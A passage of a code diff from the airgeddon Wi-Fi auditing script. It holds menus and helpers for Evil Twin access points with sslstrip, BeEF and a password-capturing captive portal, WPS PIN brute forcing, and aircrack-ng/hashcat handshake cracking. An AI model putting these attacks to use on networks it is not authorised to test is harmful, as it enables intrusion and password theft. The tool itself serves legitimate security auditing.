"${tmpdir}parsed_file" > /dev/null 2>&1 + rm -rf "${tmpdir}${ettercap_file}"* > /dev/null 2>&1 + rm -rf "${tmpdir}${bettercap_file}"* > /dev/null 2>&1 + rm -rf "${tmpdir}${beef_file}" > /dev/null 2>&1 + if [ "${beef_found}" -eq 1 ]; then + rm -rf "${beef_path}${beef_file}" > /dev/null 2>&1 + fi + rm -rf "${tmpdir}${sslstrip_file}" > /dev/null 2>&1 + rm -rf "${tmpdir}${webserver_file}" > /dev/null 2>&1 + rm -rf -R "${tmpdir}${webdir}" > /dev/null 2>&1 + if [ "${dhcpd_path_changed}" -eq 1 ]; then + rm -rf "${dhcp_path}" > /dev/null 2>&1 + fi + rm -rf "${tmpdir}wps"* > /dev/null 2>&1 + rm -rf "${tmpdir}${wps_attack_script_file}" > /dev/null 2>&1 + rm -rf "${tmpdir}${wps_out_file}" > /dev/null 2>&1 +} + +#Manage cleaning firewall rules and restore orginal routing state +function clean_routing_rules() { + + debug_print + + if [ -n "${original_routing_state}" ]; then + echo "${original_routing_state}" > /proc/sys/net/ipv4/ip_forward + fi + + clean_iptables +} + +#Clean iptables rules +function clean_iptables() { + + debug_print + + iptables -F + iptables -t nat -F + iptables -X + iptables -t nat -X +} + +#Create an array from parameters +function store_array() { + + debug_print + + local values=("${@:3}") + for i in "${!values[@]}"; do + eval "${1}[\$2|${i}]=\${values[i]}" + done +} + +#Check if something (first parameter) is inside an array (second parameter) +contains_element() { + + debug_print + + local e + for e in "${@:2}"; do + [[ "${e}" = "${1}" ]] && return 0 + done + return 1 +} + +#Print hints from the different hint pools depending of the menu +function print_hint() { + + debug_print + + declare -A hints + + case ${1} in + "main_menu") + store_array hints main_hints "${main_hints[@]}" + hintlength=${#main_hints[@]} + ((hintlength--)) + randomhint=$(shuf -i 0-"${hintlength}" -n 1) + strtoprint=${hints[main_hints|${randomhint}]} + ;; + "dos_attacks_menu") + store_array hints dos_hints "${dos_hints[@]}" + hintlength=${#dos_hints[@]} + ((hintlength--)) + randomhint=$(shuf -i 0-"${hintlength}" -n 1) + strtoprint=${hints[dos_hints|${randomhint}]} + ;; + "handshake_tools_menu") + store_array hints handshake_hints "${handshake_hints[@]}" + hintlength=${#handshake_hints[@]} + ((hintlength--)) + randomhint=$(shuf -i 0-"${hintlength}" -n 1) + strtoprint=${hints[handshake_hints|${randomhint}]} + ;; + "attack_handshake_menu") + store_array hints handshake_attack_hints "${handshake_attack_hints[@]}" + hintlength=${#handshake_attack_hints[@]} + ((hintlength--)) + randomhint=$(shuf -i 0-"${hintlength}" -n 1) + strtoprint=${hints[handshake_attack_hints|${randomhint}]} + ;; + "decrypt_menu") + store_array hints decrypt_hints "${decrypt_hints[@]}" + hintlength=${#decrypt_hints[@]} + ((hintlength--)) + randomhint=$(shuf -i 0-"${hintlength}" -n 1) + strtoprint=${hints[decrypt_hints|${randomhint}]} + ;; + "select_interface_menu") + store_array hints select_interface_hints "${select_interface_hints[@]}" + hintlength=${#select_interface_hints[@]} + ((hintlength--)) + randomhint=$(shuf -i 0-"${hintlength}" -n 1) + strtoprint=${hints[select_interface_hints|${randomhint}]} + ;; + "language_menu") + store_array hints language_hints "${language_hints[@]}" + hintlength=${#language_hints[@]} + ((hintlength--)) + randomhint=$(shuf -i 0-"${hintlength}" -n 1) + strtoprint=${hints[language_hints|${randomhint}]} + ;; + "evil_twin_attacks_menu") + store_array hints evil_twin_hints "${evil_twin_hints[@]}" + hintlength=${#evil_twin_hints[@]} + ((hintlength--)) + randomhint=$(shuf -i 0-"${hintlength}" -n 1) + strtoprint=${hints[evil_twin_hints|${randomhint}]} + ;; + "et_dos_menu") + store_array hints evil_twin_dos_hints "${evil_twin_dos_hints[@]}" + hintlength=${#evil_twin_dos_hints[@]} + ((hintlength--)) + randomhint=$(shuf -i 0-"${hintlength}" -n 1) + strtoprint=${hints[evil_twin_dos_hints|${randomhint}]} + ;; + "wps_attacks_menu") + store_array hints wps_hints "${wps_hints[@]}" + hintlength=${#wps_hints[@]} + ((hintlength--)) + randomhint=$(shuf -i 0-"${hintlength}" -n 1) + strtoprint=${hints[wps_hints|${randomhint}]} + ;; + "beef_pre_menu") + store_array hints beef_hints "${beef_hints[@]}" + hintlength=${#beef_hints[@]} + ((hintlength--)) + randomhint=$(shuf -i 0-"${hintlength}" -n 1) + strtoprint=${hints[beef_hints|${randomhint}]} + ;; + esac + + print_simple_separator + language_strings "${language}" "${strtoprint}" "hint" + print_simple_separator +} + +#airgeddon main menu +function main_menu() { + + debug_print + + clear + language_strings "${language}" 101 "title" + current_menu="main_menu" + initialize_menu_and_print_selections + echo + language_strings "${language}" 47 "green" + print_simple_separator + language_strings "${language}" 48 + language_strings "${language}" 55 + language_strings "${language}" 56 + print_simple_separator + language_strings "${language}" 118 + language_strings "${language}" 119 + language_strings "${language}" 169 + language_strings "${language}" 252 + language_strings "${language}" 333 + print_simple_separator + language_strings "${language}" 60 + language_strings "${language}" 78 + language_strings "${language}" 61 + print_hint ${current_menu} + + read -r main_option + case ${main_option} in + 1) + select_interface + ;; + 2) + monitor_option + ;; + 3) + managed_option + ;; + 4) + dos_attacks_menu + ;; + 5) + handshake_tools_menu + ;; + 6) + decrypt_menu + ;; + 7) + evil_twin_attacks_menu + ;; + 8) + wps_attacks_menu + ;; + 9) + credits_option + ;; + 10) + language_menu + ;; + 11) + exit_script_option + ;; + *) + invalid_menu_option + ;; + esac + + main_menu +} + +#Evil Twin attacks menu +function evil_twin_attacks_menu() { + + debug_print + + clear + language_strings "${language}" 253 "title" + current_menu="evil_twin_attacks_menu" + initialize_menu_and_print_selections + echo + language_strings "${language}" 47 "green" + print_simple_separator + language_strings "${language}" 48 + language_strings "${language}" 55 + language_strings "${language}" 56 + language_strings "${language}" 49 + language_strings "${language}" 255 "separator" + language_strings "${language}" 256 et_onlyap_dependencies[@] + language_strings "${language}" 257 "separator" + language_strings "${language}" 259 et_sniffing_dependencies[@] + language_strings "${language}" 261 et_sniffing_sslstrip_dependencies[@] + language_strings "${language}" 396 + language_strings "${language}" 262 "separator" + language_strings "${language}" 263 et_captive_portal_dependencies[@] + print_simple_separator + language_strings "${language}" 260 + print_hint ${current_menu} + + read -r et_option + case ${et_option} in + 1) + select_interface + ;; + 2) + monitor_option + ;; + 3) + managed_option + ;; + 4) + explore_for_targets_option + ;; + 5) + contains_element "${et_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + check_interface_wifi + if [ "$?" = "0" ]; then + et_mode="et_onlyap" + et_dos_menu + else + echo + language_strings "${language}" 281 "red" + language_strings "${language}" 115 "read" + fi + fi + ;; + 6) + contains_element "${et_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + check_interface_wifi + if [ "$?" = "0" ]; then + et_mode="et_sniffing" + et_dos_menu + else + echo + language_strings "${language}" 281 "red" + language_strings "${language}" 115 "read" + fi + fi + ;; + 7) + contains_element "${et_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + check_interface_wifi + if [ "$?" = "0" ]; then + et_mode="et_sniffing_sslstrip" + et_dos_menu + else + echo + language_strings "${language}" 281 "red" + language_strings "${language}" 115 "read" + fi + fi + ;; + 8) + beef_pre_menu + ;; + 9) + contains_element "${et_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + check_interface_wifi + if [ "$?" = "0" ]; then + et_mode="et_captive_portal" + echo + language_strings "${language}" 316 "yellow" + language_strings "${language}" 115 "read" + + explore_for_targets_option + if [ "$?" = "0" ]; then + et_dos_menu + fi + else + echo + language_strings "${language}" 281 "red" + language_strings "${language}" 115 "read" + fi + fi + ;; + 10) + return + ;; + *) + invalid_menu_option + ;; + esac + + evil_twin_attacks_menu +} + +#beef pre attack menu +function beef_pre_menu() { + + debug_print + + if [ ${return_to_et_main_menu_from_beef} -eq 1 ]; then + return + fi + + search_for_beef + + clear + language_strings "${language}" 407 "title" + current_menu="beef_pre_menu" + initialize_menu_and_print_selections + echo + language_strings "${language}" 47 "green" + print_simple_separator + + if [[ "${beef_found}" -eq 0 ]] && [[ ${optional_tools[${optional_tools_names[19]}]} -eq 1 ]]; then + if [[ ${optional_tools[${optional_tools_names[5]}]} -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[6]}]} -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[7]}]} -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[18]}]} -eq 1 ]]; then + language_strings "${language}" 409 "warning" + language_strings "${language}" 416 "pink" + else + language_strings "${language}" 409 et_sniffing_sslstrip2_dependencies[@] + fi + else + language_strings "${language}" 409 et_sniffing_sslstrip2_dependencies[@] + fi + + print_simple_separator + language_strings "${language}" 410 + print_simple_separator + language_strings "${language}" 411 + print_hint ${current_menu} + + read -r beef_option + case ${beef_option} in + 1) + contains_element "${beef_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + check_interface_wifi + if [ "$?" = "0" ]; then + et_mode="et_sniffing_sslstrip2" + get_bettercap_version + et_dos_menu + else + echo + language_strings "${language}" 281 "red" + language_strings "${language}" 115 "read" + fi + fi + ;; + 2) + if [[ "${beef_found}" -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[19]}]} -eq 1 ]]; then + echo + language_strings "${language}" 412 "red" + language_strings "${language}" 115 "read" + else + prepare_beef_start + fi + ;; + 3) + return + ;; + *) + invalid_menu_option + ;; + esac + + beef_pre_menu +} + +#WPS attacks menu +function wps_attacks_menu() { + + debug_print + + clear + language_strings "${language}" 334 "title" + current_menu="wps_attacks_menu" + initialize_menu_and_print_selections + echo + language_strings "${language}" 47 "green" + print_simple_separator + language_strings "${language}" 48 + language_strings "${language}" 55 + language_strings "${language}" 56 + language_strings "${language}" 49 wash_scan_dependencies[@] + language_strings "${language}" 50 "separator" + language_strings "${language}" 345 bully_attacks_dependencies[@] + language_strings "${language}" 357 reaver_attacks_dependencies[@] + language_strings "${language}" 346 bully_pixie_dust_attack_dependencies[@] + language_strings "${language}" 358 reaver_pixie_dust_attack_dependencies[@] + language_strings "${language}" 347 bully_attacks_dependencies[@] + language_strings "${language}" 359 reaver_attacks_dependencies[@] + language_strings "${language}" 348 bully_attacks_dependencies[@] + language_strings "${language}" 360 reaver_attacks_dependencies[@] + print_simple_separator + language_strings "${language}" 361 + print_hint ${current_menu} + + read -r wps_option + case ${wps_option} in + 1) + select_interface + ;; + 2) + monitor_option + ;; + 3) + managed_option + ;; + 4) + contains_element "${wps_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + explore_for_wps_targets_option + fi + ;; + 5) + contains_element "${wps_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + wps_attack="custompin_bully" + get_bully_version + set_bully_verbosity + wps_attacks_parameters + if [ "$?" = "0" ]; then + exec_wps_custom_pin_bully_attack + fi + fi + ;; + 6) + contains_element "${wps_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + wps_attack="custompin_reaver" + wps_attacks_parameters + if [ "$?" = "0" ]; then + exec_wps_custom_pin_reaver_attack + fi + fi + ;; + 7) + contains_element "${wps_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + wps_attack="pixiedust_bully" + get_bully_version + set_bully_verbosity + validate_bully_pixiewps_version + if [ "$?" = "0" ]; then + echo + language_strings "${language}" 368 "yellow" + language_strings "${language}" 115 "read" + wps_attacks_parameters + if [ "$?" = "0" ]; then + exec_bully_pixiewps_attack + fi + else + echo + language_strings "${language}" 367 "red" + language_strings "${language}" 115 "read" + fi + fi + ;; + 8) + contains_element "${wps_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + wps_attack="pixiedust_reaver" + get_reaver_version + validate_reaver_pixiewps_version + if [ "$?" = "0" ]; then + echo + language_strings "${language}" 370 "yellow" + language_strings "${language}" 115 "read" + wps_attacks_parameters + if [ "$?" = "0" ]; then + exec_reaver_pixiewps_attack + fi + else + echo + language_strings "${language}" 371 "red" + language_strings "${language}" 115 "read" + fi + fi + ;; + 9) + contains_element "${wps_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + wps_attack="bruteforce_bully" + get_bully_version + set_bully_verbosity + wps_attacks_parameters + if [ "$?" = "0" ]; then + exec_wps_bruteforce_pin_bully_attack + fi + fi + ;; + 10) + contains_element "${wps_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + wps_attack="bruteforce_reaver" + get_reaver_version + wps_attacks_parameters + if [ "$?" = "0" ]; then + exec_wps_bruteforce_pin_reaver_attack + fi + fi + ;; + 11) + contains_element "${wps_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + wps_attack="pindb_bully" + get_bully_version + set_bully_verbosity + + db_error=0 + if [[ ${pin_dbfile_checked} -eq 0 ]] || [[ ! -f "${scriptfolder}${known_pins_dbfile}" ]]; then + check_pins_database_file + if [ "$?" = "0" ]; then + echo + language_strings "${language}" 373 "blue" + else + echo + language_strings "${language}" 372 "red" + db_error=1 + fi + else + echo + language_strings "${language}" 379 "blue" + fi + language_strings "${language}" 115 "read" + + if [ "${db_error}" -eq 0 ]; then + wps_attacks_parameters + if [ "$?" = "0" ]; then + exec_wps_pin_database_bully_attack + fi + fi + fi + ;; + 12) + contains_element "${wps_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + wps_attack="pindb_reaver" + get_reaver_version + + db_error=0 + if [[ ${pin_dbfile_checked} -eq 0 ]] || [[ ! -f "${scriptfolder}${known_pins_dbfile}" ]]; then + check_pins_database_file + if [ "$?" = "0" ]; then + echo + language_strings "${language}" 373 "blue" + else + echo + language_strings "${language}" 372 "red" + db_error=1 + fi + else + echo + language_strings "${language}" 379 "blue" + fi + language_strings "${language}" 115 "read" + if [ "${db_error}" -eq 0 ]; then + wps_attacks_parameters + if [ "$?" = "0" ]; then + exec_wps_pin_database_reaver_attack + fi + fi + fi + ;; + 13) + return + ;; + *) + invalid_menu_option + ;; + esac + + wps_attacks_menu +} + +#Offline decryption attacks menu +function decrypt_menu() { + + debug_print + + clear + language_strings "${language}" 170 "title" + current_menu="decrypt_menu" + initialize_menu_and_print_selections + echo + language_strings "${language}" 47 "green" + language_strings "${language}" 176 "separator" + language_strings "${language}" 172 + language_strings "${language}" 175 aircrack_attacks_dependencies[@] + language_strings "${language}" 229 "separator" + language_strings "${language}" 230 hashcat_attacks_dependencies[@] + language_strings "${language}" 231 hashcat_attacks_dependencies[@] + language_strings "${language}" 232 hashcat_attacks_dependencies[@] + print_simple_separator + language_strings "${language}" 174 + print_hint ${current_menu} + + read -r decrypt_option + case ${decrypt_option} in + 1) + contains_element "${decrypt_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + aircrack_dictionary_attack_option + fi + ;; + 2) + contains_element "${decrypt_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + aircrack_bruteforce_attack_option + fi + ;; + 3) + contains_element "${decrypt_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + get_hashcat_version + set_hashcat_parameters + hashcat_dictionary_attack_option + fi + ;; + 4) + contains_element "${decrypt_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + get_hashcat_version + set_hashcat_parameters + hashcat_bruteforce_attack_option + fi + ;; + 5) + contains_element "${decrypt_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + get_hashcat_version + set_hashcat_parameters + hashcat_rulebased_attack_option + fi + ;; + 6) + return + ;; + *) + invalid_menu_option + ;; + esac + + decrypt_menu +} + +#Read the user input on rules file questions +function ask_rules() { + + debug_print + + validpath=1 + while [[ "${validpath}" != "0" ]]; do + read_path "rules" + done + language_strings "${language}" 241 "yellow" +} + +#Read the user input on dictionary file questions +function ask_dictionary() { + + debug_print + + validpath=1 + while [[ "${validpath}" != "0" ]]; do + read_path "dictionary" + done + language_strings "${language}" 181 "yellow" +} + +#Read the user input on Handshake file questions +function ask_capture_file() { + + debug_print + + validpath=1 + while [[ "${validpath}" != "0" ]]; do + read_path "targetfilefordecrypt" + done + language_strings "${language}" 189 "yellow" +} + +#Manage the questions on Handshake file questions +function manage_asking_for_captured_file() { + + debug_print + + if [ -n "${enteredpath}" ]; then + echo + language_strings "${language}" 186 "blue" + ask_yesno 187 + if [ ${yesno} = "n" ]; then + ask_capture_file + fi + else + ask_capture_file + fi +} + +#Manage the questions on dictionary file questions +function manage_asking_for_dictionary_file() { + + debug_print + + if [ -n "${DICTIONARY}" ]; then + echo + language_strings "${language}" 183 "blue" + ask_yesno 184 + if [ ${yesno} = "n" ]; then + ask_dictionary + fi + else + ask_dictionary + fi +} + +#Manage the questions on rules file questions +function manage_asking_for_rule_file() { + + debug_print + + if [ -n "${RULES}" ]; then + echo + language_strings "${language}" 239 "blue" + ask_yesno 240 + if [ ${yesno} = "n" ]; then + ask_rules + fi + else + ask_rules + fi +} + +#Validate the file to be cleaned +function check_valid_file_to_clean() { + + debug_print + + nets_from_file=$(echo "1" | aircrack-ng "${1}" 2> /dev/null | egrep "WPA|WEP" | awk '{ saved = $1; $1 = ""; print substr($0, 2) }') + + if [ "${nets_from_file}" = "" ]; then + return 1 + fi + + option_counter=0 + for item in ${nets_from_file}; do + if [[ ${item} =~ ^[0-9a-fA-F]{2}: ]]; then + option_counter=$((option_counter + 1)) + fi + done + + if [ ${option_counter} -le 1 ]; then + return 1 + fi + + handshakefilesize=$(wc -c "${filetoclean}" 2> /dev/null | awk -F " " '{print$1}') + if [ "${handshakefilesize}" -le 1024 ]; then + return 1 + fi + + echo "1" | aircrack-ng "${1}" 2> /dev/null | egrep "1 handshake" > /dev/null + if [ "$?" != "0" ]; then + return 1 + fi + + return 0 +} + +#Check if a bssid is present on a capture file to know if there is a Handshake with that bssid +function check_bssid_in_captured_file() { + + debug_print + + nets_from_file=$(echo "1" | aircrack-ng "${1}" 2> /dev/null | egrep "WPA \([1-9][0-9]? handshake" | awk '{ saved = $1; $1 = ""; print substr($0, 2) }') + + echo + if [ "${nets_from_file}" = "" ]; then + if [ ! -f "${1}" ]; then + language_strings "${language}" 161 "red" + language_strings "${language}" 115 "read" + else + language_strings "${language}" 216 "red" + language_strings "${language}" 115 "read" + fi + return 1 + fi + + declare -A bssids_detected + option_counter=0 + for item in ${nets_from_file}; do + if [[ ${item} =~ ^[0-9a-fA-F]{2}: ]]; then + option_counter=$((option_counter + 1)) + bssids_detected[${option_counter}]=${item} + fi + done + + for targetbssid in "${bssids_detected[@]}"; do + if [ "${bssid}" = "${targetbssid}" ]; then + language_strings "${language}" 322 "yellow" + return 0 + fi + done + + language_strings "${language}" 323 "red" + language_strings "${language}" 115 "read" + return 1 +} + +#Set the target vars to a bssid selecting them from a capture file which has a Handshake +function select_wpa_bssid_target_from_captured_file() { + + debug_print + + nets_from_file=$(echo "1" | aircrack-ng "${1}" 2> /dev/null | egrep "WPA \([1-9][0-9]? handshake" | awk '{ saved = $1; $1 = ""; print substr($0, 2) }') + + echo + if [ "${nets_from_file}" = "" ]; then + language_strings "${language}" 216 "red" + language_strings "${language}" 115 "read" + return 1 + fi + + declare -A bssids_detected + option_counter=0 + for item in ${nets_from_file}; do + if [[ ${item} =~ ^[0-9a-fA-F]{2}: ]]; then + option_counter=$((option_counter + 1)) + bssids_detected[${option_counter}]=${item} + fi + done + + for targetbssid in "${bssids_detected[@]}"; do + if [ "${bssid}" = "${targetbssid}" ]; then + language_strings "${language}" 192 "blue" + ask_yesno 193 + + if [ ${yesno} = "y" ]; then + bssid=${targetbssid} + return 0 + fi + break + fi + done + + bssid_autoselected=0 + if [ ${option_counter} -gt 1 ]; then + option_counter=0 + for item in ${nets_from_file}; do + if [[ ${item} =~ ^[0-9a-fA-F]{2}: ]]; then + + option_counter=$((option_counter + 1)) + + if [ ${option_counter} -lt 10 ]; then + space=" " + else + space="" + fi + + echo -n "${option_counter}.${space}${item}" + elif [[ ${item} =~ \)$ ]]; then + echo -en "${item}\r\n" + else + echo -en " ${item} " + fi + done + print_hint ${current_menu} + + target_network_on_file=0 + while [[ ${target_network_on_file} -lt 1 || ${target_network_on_file} -gt ${option_counter} ]]; do + echo + language_strings "${language}" 3 "green" + read -r target_network_on_file + done + + else + target_network_on_file=1 + bssid_autoselected=1 + fi + + bssid=${bssids_detected[${target_network_on_file}]} + + if [ ${bssid_autoselected} -eq 1 ]; then + language_strings "${language}" 217 "blue" + fi + + return 0 +} + +#Validate and ask for the different parameters used in an aircrack dictionary based attack +function aircrack_dictionary_attack_option() { + + debug_print + + manage_asking_for_captured_file + + select_wpa_bssid_target_from_captured_file "${enteredpath}" + if [ "$?" != "0" ]; then + return + fi + + manage_asking_for_dictionary_file + + echo + language_strings "${language}" 190 "yellow" + language_strings "${language}" 115 "read" + exec_aircrack_dictionary_attack +} + +#Validate and ask for the different parameters used in an aircrack bruteforce based attack +function aircrack_bruteforce_attack_option() { + + debug_print + + manage_asking_for_captured_file + + select_wpa_bssid_target_from_captured_file "${enteredpath}" + if [ "$?" != "0" ]; then + return + fi + + set_minlength_and_maxlength + + charset_option=0 + while [[ ${charset_option} -lt 1 || ${charset_option} -gt 11 ]]; do + set_charset "aircrack" + done + + echo + language_strings "${language}" 209 "blue" + echo + language_strings "${language}" 190 "yellow" + language_strings "${language}" 115 "read" + exec_aircrack_bruteforce_attack +} + +#Validate and ask for the different parameters used in a hashcat dictionary based attack +function hashcat_dictionary_attack_option() { + + debug_print + + manage_asking_for_captured_file + + select_wpa_bssid_target_from_captured_file "${enteredpath}" + if [ "$?" != "0" ]; then + return + fi + + manage_asking_for_dictionary_file + + echo + language_strings "${language}" 190 "yellow" + language_strings "${language}" 115 "read" + exec_hashcat_dictionary_attack + manage_hashcat_pot +} + +#Validate and ask for the different parameters used in a hashcat bruteforce based attack +function hashcat_bruteforce_attack_option() { + + debug_print + + manage_asking_for_captured_file + + select_wpa_bssid_target_from_captured_file "${enteredpath}" + if [ "$?" != "0" ]; then + return + fi + + set_minlength_and_maxlength + + charset_option=0 + while [[ ${charset_option} -lt 1 || ${charset_option} -gt 5 ]]; do + set_charset "hashcat" + done + + echo + language_strings "${language}" 209 "blue" + echo + language_strings "${language}" 190 "yellow" + language_strings "${language}" 115 "read" + exec_hashcat_bruteforce_attack + manage_hashcat_pot +} + +#Validate and ask for the different parameters used in a hashcat rule based attack +function hashcat_rulebased_attack_option() { + + debug_print + + manage_asking_for_captured_file + + select_wpa_bssid_target_from_captured_file "${enteredpath}" + if [ "$?" != "0" ]; then + return + fi + + manage_asking_for_dictionary_file + + manage_asking_for_rule_file + + echo + language_strings "${language}" 190 "yellow" + language_strings "${language}" 115 "read" + exec_hashcat_rulebased_attack + manage_hashcat_pot +} + +#Check if the password was decrypted using hashcat and manage to save it on a file +function manage_hashcat_pot() { + + debug_print + + local regexp="All hashes have been recovered" + if [ -n "${hashcat_fix}" ]; then + local regexp="Status\.{1,9}:[[:space:]]Cracked" + fi + + if [[ ${hashcat_output} =~ ${regexp} ]]; then + + echo + language_strings "${language}" 234 "yellow" + ask_yesno 235 + if [ ${yesno} = "y" ]; then + + hashcat_potpath="${default_save_path}" + lastcharhashcat_potpath=${hashcat_potpath: -1} + if [ "${lastcharhashcat_potpath}" != "/" ]; then + hashcat_potpath="${hashcat_potpath}/" + fi + hashcatpot_filename="hashcat-${bssid}.pot" + hashcat_potpath="${hashcat_potpath}${hashcatpot_filename}" + + validpath=1 + while [[ "${validpath}" != "0" ]]; do + read_path "hashcatpot" + done + + cp "${tmpdir}hctmp.pot" "${potenteredpath}" + echo + language_strings "${language}" 236 "blue" + language_strings "${language}" 115 "read" + fi + fi +} + +#Check if the passwords were captured using ettercap and manage to save them on a file +function manage_ettercap_log() { + + debug_print + + ettercap_log=0 + ask_yesno 302 + if [ ${yesno} = "y" ]; then + ettercap_log=1 + default_ettercap_logpath="${default_save_path}" + lastcharettercaplogpath=${default_ettercap_logpath: -1} + if [ "${lastcharettercaplogpath}" != "/" ]; then + ettercap_logpath="${default_ettercap_logpath}/" + fi + default_ettercaplogfilename="evil_twin_captured_passwords-${essid}.txt" + rm -rf "${tmpdir}${ettercap_file}"* > /dev/null 2>&1 + tmp_ettercaplog="${tmpdir}${ettercap_file}" + default_ettercap_logpath="${ettercap_logpath}${default_ettercaplogfilename}" + validpath=1 + while [[ "${validpath}" != "0" ]]; do + read_path "ettercaplog" + done + fi +} + +#Check if the passwords were captured using bettercap and manage to save them on a file +function manage_bettercap_log() { + + debug_print + + bettercap_log=0 + ask_yesno 302 + if [ ${yesno} = "y" ]; then + bettercap_log=1 + default_bettercap_logpath="${default_save_path}" + lastcharbettercaplogpath=${default_bettercap_logpath: -1} + if [ "${lastcharbettercaplogpath}" != "/" ]; then + bettercap_logpath="${default_bettercap_logpath}/" + fi + default_bettercaplogfilename="evil_twin_captured_passwords-bettercap-${essid}.txt" + rm -rf "${tmpdir}${bettercap_file}"* > /dev/null 2>&1 + tmp_bettercaplog="${tmpdir}${bettercap_file}" + default_bettercap_logpath="${bettercap_logpath}${default_bettercaplogfilename}" + validpath=1 + while [[ "${validpath}" != "0" ]]; do + read_path "bettercaplog" + done + fi +} + +#Check if the passwords were captured using the captive portal Evil Twin attack and manage to save them on a file +function manage_captive_portal_log() { + + debug_print + + default_et_captive_portal_logpath="${default_save_path}" + lastcharetcaptiveportallogpath=${default_et_captive_portal_logpath: -1} + if [ "${lastcharetcaptiveportallogpath}" != "/" ]; then + et_captive_portal_logpath="${default_et_captive_portal_logpath}/" + fi + default_et_captive_portallogfilename="evil_twin_captive_portal_password-${essid}.txt" + default_et_captive_portal_logpath="${et_captive_portal_logpath}${default_et_captive_portallogfilename}" + validpath=1 + while [[ "${validpath}" != "0" ]]; do + read_path "et_captive_portallog" + done +} + +#Captive portal language menu +function set_captive_portal_language() { + + debug_print + + clear + language_strings "${language}" 293 "title" + print_iface_selected + print_et_target_vars + print_iface_internet_selected + echo + language_strings "${language}" 318 "green" + print_simple_separator + language_strings "${language}" 79 + language_strings "${language}" 80 + language_strings "${language}" 113 + language_strings "${language}" 116 + language_strings "${language}" 249 + language_strings "${language}" 308 + language_strings "${language}" 320 + print_hint ${current_menu} + + read -r captive_portal_language_selected + echo + case ${captive_portal_language_selected} in + 1) + captive_portal_language="ENGLISH" + ;; + 2) + captive_portal_language="SPANISH" + ;; + 3) + captive_portal_language="FRENCH" + ;; + 4) + captive_portal_language="CATALAN" + ;; + 5) + captive_portal_language="PORTUGUESE" + ;; + 6) + captive_portal_language="RUSSIAN" + ;; + 7) + captive_portal_language="GREEK" + ;; + *) + invalid_captive_portal_language_selected + ;; + esac +} + +#Read and validate the minlength var +function set_minlength() { + + debug_print + + minlength=0 + while [[ ! ${minlength} =~ ^[8-9]$|^[1-5][0-9]$|^6[0-3]$ ]]; do + echo + language_strings "${language}" 194 "green" + read -r minlength + done +} + +#Read and validate the maxlength var +function set_maxlength() { + + debug_print + + maxlength=0 + while [[ ! ${maxlength} =~ ^[8-9]$|^[1-5][0-9]$|^6[0-3]$ ]]; do + echo + language_strings "${language}" 195 "green" + read -r maxlength + done +} + +#Manage the minlength and maxlength vars on bruteforce attacks +function set_minlength_and_maxlength() { + + debug_print + + set_minlength + maxlength=0 + while [[ ${maxlength} -lt ${minlength} ]]; do + set_maxlength + done +} + +#Charset selection menu +function set_charset() { + + debug_print + + clear + language_strings "${language}" 238 "title" + language_strings "${language}" 196 "green" + print_simple_separator + language_strings "${language}" 197 + language_strings "${language}" 198 + language_strings "${language}" 199 + language_strings "${language}" 200 + + case ${1} in + "aircrack") + language_strings "${language}" 201 + language_strings "${language}" 202 + language_strings "${language}" 203 + language_strings "${language}" 204 + language_strings "${language}" 205 + language_strings "${language}" 206 + language_strings "${language}" 207 + print_hint ${current_menu} + read -r charset_option + case ${charset_option} in + 1) + charset=${crunch_lowercasecharset} + ;; + 2) + charset=${crunch_uppercasecharset} + ;; + 3) + charset=${crunch_numbercharset} + ;; + 4) + charset=${crunch_symbolcharset} + ;; + 5) + charset="${crunch_lowercasecharset}${crunch_uppercasecharset}" + ;; + 6) + charset="${crunch_lowercasecharset}${crunch_numbercharset}" + ;; + 7) + charset="${crunch_uppercasecharset}${crunch_numbercharset}" + ;; + 8) + charset="${crunch_symbolcharset}${crunch_numbercharset}" + ;; + 9) + charset="${crunch_lowercasecharset}${crunch_uppercasecharset}${crunch_numbercharset}" + ;; + 10) + charset="${crunch_lowercasecharset}${crunch_uppercasecharset}${crunch_symbolcharset}" + ;; + 11) + charset="${crunch_lowercasecharset}${crunch_uppercasecharset}${crunch_numbercharset}${crunch_symbolcharset}" + ;; + esac + ;; + "hashcat") + language_strings "${language}" 237 + print_hint ${current_menu} + read -r charset_option + case ${charset_option} in + 1) + charset="?l" + ;; + 2) + charset="?u" + ;; + 3) + charset="?d" + ;; + 4) + charset="?s" + ;; + 5) + charset="?a" + ;; + esac + + charset_tmp=${charset} + for ((i=0; i < maxlength - 1; i++)); do + charset+=${charset_tmp} + done + ;; + esac + + set_show_charset "${1}" +} + +#Set a var to show the chosen charset +function set_show_charset() { + + debug_print + + showcharset="" + + case ${1} in + "aircrack") + showcharset="${charset}" + ;; + "hashcat") + case ${charset_tmp} in + "?a") + for item in "${hashcat_charsets[@]}"; do + if [ "${hashcat_charset_fix_needed}" -eq 0 ]; then + showcharset+=$(hashcat --help | grep "${item} =" | awk '{print $3}') + else + showcharset+=$(hashcat 